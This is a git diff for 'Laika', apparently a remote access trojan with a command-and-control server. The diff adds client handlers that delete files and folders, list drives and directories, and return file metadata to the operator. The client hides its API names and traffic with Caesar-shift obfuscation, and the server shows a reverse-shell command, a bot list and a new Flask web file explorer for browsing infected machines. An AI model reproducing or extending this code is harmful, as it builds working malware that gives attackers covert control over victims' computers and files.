diff --git a/Laika/file_explorer.c b/Laika/file_explorer.c index 1db9db1..15880b4 100644 --- a/Laika/file_explorer.c +++ b/Laika/file_explorer.c @@ -1,4 +1,5 @@ #include "file_explorer.h" +#include "utils.h" int delete_file(char* path) { return Api.remove(path); @@ -12,7 +13,22 @@ int get_object_info(char* path, struct stat* fileinfo) { return Api.stat(path, fileinfo); } -char** get_file_list(const char* dirPath, int* numFiles) { +int get_drives_list(char* buf) { + DWORD drives = Api.GetLogicalDrives(); // get a bitmask of available drives + int count = 0; // number of drives found so far + + for (int i = 0; i < MAX_DRIVES; i++) { + if (drives & (1 << i)) { // check if drive letter is present in bitmask + buf[count++] = 'A' + i; // add drive letter to buffer + } + } + + buf[count++] = '\0'; // add null terminator to buffer + + return count; // return number of drives found +} + +char* get_file_list(const char* dirPath, int* numFiles) { WIN32_FIND_DATA findData; HANDLE hFind; @@ -26,66 +42,61 @@ char** get_file_list(const char* dirPath, int* numFiles) { return NULL; } - // Allocate a dynamic array to store the file names - int maxFiles = 100; + // Allocate a dynamic array to store the file/folder names + int maxFiles = BUFFER_SIZE; char** fileList = (char**)Api.malloc(maxFiles * sizeof(char*)); int numFound = 0; do { - if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { - continue; // Ignore directories - } - - // Convert the file name to a char string + // Convert the file/folder name to a char string WCHAR wFileName[MAX_PATH]; wcscpy(wFileName, findData.cFileName); char fileName[MAX_PATH]; Api.wcstombs(fileName, wFileName, MAX_PATH); - // Add the file name to the array + // Ignore the "." and ".." folders + if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) { + continue; + } + + // Add the file/folder name to the array if (numFound >= maxFiles) { maxFiles *= 2; fileList = (char**)Api.realloc(fileList, maxFiles * sizeof(char*)); } fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1); - Api.strcpy(fileList[numFound], fileName); + Api.strcpy(fileList[numFound], CAESAR(fileName)); numFound++; } while (FindNextFile(hFind, &findData) != 0); Api.FindClose(hFind); - // Resize the array to the actual number of files found - fileList = (char**)Api.realloc(fileList, numFound * sizeof(char*)); + // Allocate a buffer to store the concatenated file/folder names separated by "/" + int bufferSize = 0; + for (int i = 0; i < numFound; i++) { + bufferSize += strlen(fileList[i]) + 1; // add 1 for the separator + } + char* fileNames = (char*)Api.malloc(bufferSize); + fileNames[0] = '\0'; - // Set the numFiles parameter to the number of files found + // Concatenate the file/folder names separated by "/" + for (int i = 0; i < numFound; i++) { + strcat(fileNames, fileList[i]); + if (i < numFound - 1) { + strcat(fileNames, "/"); + } + Api.free(fileList[i]); + } + + Api.free(fileList); + + // Set the numFiles parameter to the number of files/folders found *numFiles = numFound; - return fileList; - - /* - const char* dirPath = "C:\\Users\\UserName\\Documents\\ExampleDirectory"; // Replace with the path to the directory you want to list - - int numFiles; - char** fileList = listFiles(dirPath, &numFiles); - - if (fileList == NULL) { - printf("Error listing files\n"); - return 1; - } - - // Print the list of files - for (int i = 0; i < numFiles; i++) { - printf("%s\n", fileList[i]); - free(fileList[i]); - } - - // Free the array and its contents - free(fileList); - - return 0; - */ + return fileNames; } + void download_file() { } diff --git a/Laika/file_explorer.h b/Laika/file_explorer.h index 065d865..ed3bb03 100644 --- a/Laika/file_explorer.h +++ b/Laika/file_explorer.h @@ -7,12 +7,18 @@ #include #include "resolve_apis.h" +#define BUFFER_SIZE 4096 + +// Define the maximum number of drives that we can handle +#define MAX_DRIVES 26 + extern API Api; int delete_file(char* path); int delete_dir(char* path); int get_object_info(char* path, struct stat* fileinfo); -char** get_file_list(const char* dirPath, int* numFiles); +int get_drives_list(char* buf); +char* get_file_list(const char* dirPath, int* numFiles); void download_file(); void download_folder(); void upload_file(); \ No newline at end of file diff --git a/Laika/main.c b/Laika/main.c index e99fa64..161358b 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -183,6 +183,166 @@ retry: goto retry; } + if (Api.strncmp(server_reply, "ijqdknqj", strlen("ijqdknqj")) == 0) { //del_file + char* path = (char*)Api.malloc(MAX_PATH); + + //Receive a reply from the server + if (Api.recv(sock, path, MAX_PATH, 0) <= 0) + { + //recv failed + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + delete_file(path); + + if (Api.send(sock, "itsj", strlen("itsj"), 0) < 0) { //done + //send failed + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + Api.free(path); + } + + if (Api.strncmp(server_reply, "ijqdinw", strlen("ijqdinw")) == 0) { //del_dir + char* path = (char*)Api.malloc(MAX_PATH); + + //Receive a reply from the server + if (Api.recv(sock, path, MAX_PATH, 0) <= 0) + { + //recv failed + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + delete_dir(path); + + if (Api.send(sock, "itsj", strlen("itsj"), 0) < 0) { //done + //send failed + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + } + + if (Api.strncmp(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info + char* path = (char*)Api.malloc(MAX_PATH); + struct stat fileinfo; + + //Receive a reply from the server + if (Api.recv(sock, path, MAX_PATH, 0) <= 0) + { + //recv failed + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + int st = Api.stat(CAESAR_DECRYPT(path), &fileinfo); + if (st != 0) { + + if (Api.send(sock, CAESAR("N/N"), sizeof(CAESAR("N/N")), 0) < 0) { + //send failed + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + Api.free(path); + continue; + } + + time_t mtime = fileinfo.st_mtime; + struct tm* mtime_tm = Api._localtime64(&mtime); + char mtime_str[30]; + char sizeStr[20]; + Api.strftime(mtime_str, 30, CAESAR_DECRYPT("*^2*r2*i%*M?*R?*X"), mtime_tm); + + // Concatenate the file size and modified time strings separated by "/" + Api._snprintf(sizeStr, 20, "%lld", (long long)fileinfo.st_size); + int bufferSize = strlen(sizeStr) + 1 + strlen(mtime_str) + 1; // add 1 for the separator and the null terminator + char* fileInfoStr = (char*)Api.malloc(bufferSize); + Api._snprintf(fileInfoStr, bufferSize, "%s/%s", sizeStr, mtime_str); + + if (Api.send(sock, fileInfoStr, sizeof(fileInfoStr), 0) < 0) { + //send failed + Api.free(path); + Api.free(fileInfoStr); + Sleep_(Sleep_TIME); + goto retry; + } + + Api.free(fileInfoStr); + Api.free(path); + } + + if (Api.strncmp(server_reply, "ljydiwn{jx", strlen("ljydiwn{jx")) == 0) { //get_drives + char* drives = (char*)Api.malloc(MAX_PATH); + + get_drives_list(drives); + + if (Api.send(sock, drives, strlen(drives), 0) < 0) { + //send failed + Api.free(drives); + Sleep_(Sleep_TIME); + goto retry; + } + + Api.free(drives); + } + + if (Api.strncmp(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list + char* file_list = (char*)Api.malloc(BUFFER_SIZE); + char* path = (char*)Api.malloc(MAX_PATH); + + //Receive a reply from the server + if (Api.recv(sock, path, MAX_PATH, 0) <= 0) + { + //recv failed + Api.free(file_list); + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + int num_files; + file_list = get_file_list(CAESAR_DECRYPT(path), &num_files); + + if (file_list == NULL) { + Api.free(file_list); + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + + if (Api.send(sock, file_list, strlen(file_list), 0) < 0) { + //send failed + Api.free(file_list); + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + Api.free(path); + } + + if (Api.strncmp(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file + + } + + if (Api.strncmp(server_reply, "it|sqtfidinw", strlen("it|sqtfidinw")) == 0) { //download_dir + + } + + if (Api.strncmp(server_reply, "zuqtfidknqj", strlen("zuqtfidknqj")) == 0) { //upload_file + + } + if (Api.strncmp(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell // Set the socket as standard output and error SECURITY_ATTRIBUTES sa; diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c index 8b25593..b507ea9 100644 --- a/Laika/resolve_apis.c +++ b/Laika/resolve_apis.c @@ -26,6 +26,7 @@ void InitApis() { Api.TerminateProcess = (TTerminateProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjUwthjxx")); Api.FreeLibrary = (TFreeLibrary)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KwjjQngwfw~")); Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj")); + Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx")); hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq")); if (!hMsvcrt) { @@ -43,6 +44,9 @@ void InitApis() { Api.sprintf = (Tsprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xuwnsyk")); Api.realloc = (Trealloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjfqqth")); Api.wcstombs = (Twcstombs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxytrgx")); + Api._localtime64 = (T_localtime64)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dqthfqynrj;9")); + Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj")); + Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk")); hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq")); if (!hWininet) { diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h index 035e869..b60fc33 100644 --- a/Laika/resolve_apis.h +++ b/Laika/resolve_apis.h @@ -28,6 +28,9 @@ typedef int(WINAPI* Tstat)(char const* const, struct stat* const); typedef int(WINAPI* Tsprintf)(char const*, char const* const, ...); typedef void*(WINAPI* Trealloc)(void*, size_t); typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t); +typedef struct tm* (WINAPI* T_localtime64)(__time64_t const*); +typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*); +typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...); typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); @@ -43,6 +46,7 @@ typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT); typedef BOOL(WINAPI* TFreeLibrary)(HMODULE); typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR); typedef BOOL(WINAPI* TFindClose)(HANDLE); +typedef DWORD(WINAPI* TGetLogicalDrives)(VOID); typedef struct ApiList { Tconnect connect; @@ -74,6 +78,7 @@ typedef struct ApiList { TFreeLibrary FreeLibrary; TGetProcAddress GetProcAddress; TFindClose FindClose; + TGetLogicalDrives GetLogicalDrives; Tmbstowcs mbstowcs; Twcstombs wcstombs; @@ -83,6 +88,9 @@ typedef struct ApiList { Tstat stat; Tsprintf sprintf; Trealloc realloc; + T_localtime64 _localtime64; + Tstrftime strftime; + T_snprintf _snprintf; } API; void InitApis(); diff --git a/Server/FileExplorer/images/bg.gif b/Server/FileExplorer/images/bg.gif new file mode 100644 index 0000000..b7f51a5 Binary files /dev/null and b/Server/FileExplorer/images/bg.gif differ diff --git a/Server/FileExplorer/images/spike.jpg b/Server/FileExplorer/images/spike.jpg new file mode 100644 index 0000000..68e0a3f Binary files /dev/null and b/Server/FileExplorer/images/spike.jpg differ diff --git a/Server/FileExplorer/index.html b/Server/FileExplorer/index.html new file mode 100644 index 0000000..19f9bd5 --- /dev/null +++ b/Server/FileExplorer/index.html @@ -0,0 +1,89 @@ + + + + Laika - File Explorer + + + + + + + + + +
+ + Spike + + +
+ +


+ + + + + + + + +
NomModifié leTaille
+ + + + diff --git a/Server/FileExplorer/style.css b/Server/FileExplorer/style.css new file mode 100644 index 0000000..60eca88 --- /dev/null +++ b/Server/FileExplorer/style.css @@ -0,0 +1,95 @@ +#spike { + float: left; + border-style:solid; + border-color:#0004ff; + border-width: 1px; + width: 8%; + height: auto; +} + +/* unvisited link */ +a:link { + color: #FFFFFF; +} + +/* visited link */ +a:visited { + color: #FFFFFF; +} + +/* mouse over link */ +a:hover { + color: #5660f1; +} + +/* selected link */ +a:active { + color: #686bff; +} + +.header { + width: auto; + height: auto; + overflow:auto; + background-color: rgba(18,24,217,0.5); + top: 0; + left:0px; + right:0px; +} + +.menu { + font-weight: bold; + float: left; + margin-top: 5.2%; + margin-left: 0.5%; +} + +body { + background: url(../images/bg.gif) repeat 0 0; + color: white; +} + +p { + font-size: large; + margin-left: 3px; + margin-bottom: -5px; +} + +a { + overflow: hidden; + font-size: 150%; +} + +#titre { + position: relative; + left: 75%; + top: -20px; + margin-top: -7%; +} + +td, th { + border: 1px solid #dddddd; + text-align: left; + padding: 8px; +} + +th { + text-align: center; +} + +td:nth-child(1) { /* targets the first column */ + cursor: pointer; + margin-left: 20%; +} + +td:nth-child(1):hover { + color: #5660f1; +} + +td:nth-child(2) { /* targets the second column */ + text-align: center; +} + +td:nth-child(3) { /* targets the third column */ + text-align: right; +} diff --git a/Server/Server.py b/Server/Server.py index 3d825d2..2b0cddc 100644 --- a/Server/Server.py +++ b/Server/Server.py @@ -1,10 +1,13 @@ from colorama import Fore, Style from prettytable import PrettyTable from geoip import geolite2 +from flask import Flask, request, send_file, render_template, send_from_directory, jsonify from threading import Thread import os, sys, time import select import socket +import logging +import urllib.parse ADRESSE = "192.168.1.35"#socket.gethostname() PORT = 4444 @@ -38,6 +41,92 @@ def CAESAR_DECRYPT(in_s: str) -> str : r+=" " return r +app = Flask(__name__) +# Disable Flask's default logging +#log = logging.getLogger('werkzeug') +#log.disabled = True + +@app.route('/') +def serve_file(filename): + file_path = os.path.join(app.root_path, 'FileExplorer', filename) + return send_from_directory(os.path.dirname(file_path), os.path.basename(file_path)) + +@app.route('/') +def index() : + index_path = os.path.join(os.getcwd(), 'FileExplorer/index.html') + return send_file(index_path) + +path_file_ex = "" +@app.route('/get_data', methods=['POST']) +def get_data() : + global path_file_ex + data = [] + + got_path = request.get_data().decode("latin-1") + got_path = urllib.parse.unquote_plus(got_path) + if got_path and got_path != "{}" : + got_path = got_path.replace("","").replace("","").replace("folder_path=","") + + if got_path == ".." : + folders = path_file_ex.split("/") + if folders != [".."] and folders != [""] : + folders.pop() + folders.pop() + path_file_ex = '/'.join(folders) + if path_file_ex != "" : + path_file_ex += "/" + else : + path_file_ex += got_path + "/" + + i = -1 + print(path_file_ex.split("/")) + + if CONNECT_CLIENTS != [] : + data.append({"url" : f"..", "modified":"", "size" : ""}) + + for client in CONNECT_CLIENTS : + i += 1 + if len(path_file_ex.split("/")) == 1 or path_file_ex == "" : + data.append({"url" : f"Client n°{i}", "modified":"", "size" : ""}) + continue + + if len(path_file_ex.split("/")) == 2 : + #getting drive letters + path_parts = path_file_ex.split("/") + client_num = int(path_parts.pop(0).replace("Client n°","")) + if client_num != i : continue + client.send(CAESAR("get_drives").encode()) + drives = recv_message_ret(client).decode("utf-8") + for d in drives : + data.append({"url": f"{d}", "modified": "", "size":""}) + continue + + else : + client.send(CAESAR("get_file_list").encode()) + path_parts = path_file_ex.split("/") + client_num = int(path_parts.pop(0).replace("Client n°","")) + if client_num != i : continue + path_parts[0] = path_parts[0] + ":" + path_file_ex_2 = '/'.join(path_parts) + client.send(CAESAR(path_file_ex_2 + "\0").encode()) + + files = recv_message_ret(client).decode("latin-1") + for f in files.split("/") : + f = CAESAR_DECRYPT(f) + #print(path_file_ex + f) + + client.send(CAESAR("get_obj_info").encode()) + + client.send(CAESAR(path_file_ex + f + "\0").encode()) + + infos = recv_message_ret(client).decode("latin-1") + #print(infos) + + data.append({"url": f"{f}", "modified": "", "size":""}) + + json_data = jsonify({"data":data}) + return json_data + def ban() : if is_linux_user() : os.system("clear") @@ -49,7 +138,7 @@ def ban() : print(Fore.RED + " / / / _` || || |/ // _` |") print(Fore.RED + "/ /___| (_| || || <| (_| |") print(Fore.RED + "\____/ \__,_||_||_|\_\\\__,_|") - print(Style.BRIGHT + Fore.GREEN +"Là où fini l'État, commence l'arc-en-ciel." + Fore.RESET + Style.RESET_ALL) + print(Style.BRIGHT + Fore.GREEN +"Là où finit l'État, commence l'arc-en-ciel." + Fore.RESET + Style.RESET_ALL) print("") def on_new_client() -> None : @@ -89,6 +178,24 @@ def update_title() -> None : os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots - Selection : n°" + str(SELECTED_CLIENT)) time.sleep(2) +def recv_message_ret(client) : + message = "" + while True : + client.settimeout(0.1) + try : + message = client.recv(4096) + if CAESAR_DECRYPT(message.decode("latin-1")) == "done" : + break + except socket.timeout : + break + if not message: + break + + if client.gettimeout() == 0: + break + + return message + def recv_message(socket_object) -> bool: socket_object.settimeout(0.1) while True: @@ -109,15 +216,17 @@ def recv_message(socket_object) -> bool: def main() -> None : global SELECTED_CLIENT - ban() - THREAD_LIST.append(Thread(target = on_new_client, args = ())) THREAD_LIST.append(Thread(target = on_close_socket, args = ())) THREAD_LIST.append(Thread(target = update_title, args = ())) - + THREAD_LIST.append(Thread(target = app.run, kwargs = {"debug":False})) + for t in THREAD_LIST : t.daemon = True t.start() + + time.sleep(1) + ban() while True : cmd = input(Fore.LIGHTBLUE_EX +"-> " + Fore.RESET) @@ -131,6 +240,7 @@ def main() -> None : print("deselect : désélectionne le client précédemment séléctionné avec \"select\"") print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"") print("build : build un client") + print("fex : ouvre l'explorateur de fichiers") print("") elif cmd == "exit" : @@ -231,6 +341,10 @@ def main() -> None : client.send(CAESAR(command+"\n").encode()) print("\nSession terminée.") + + elif cmd == "fex" : + print("\nClique sur le lien ci-dessous pour voir le file explorer :") + print("http://127.0.0.1:5000") else : print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")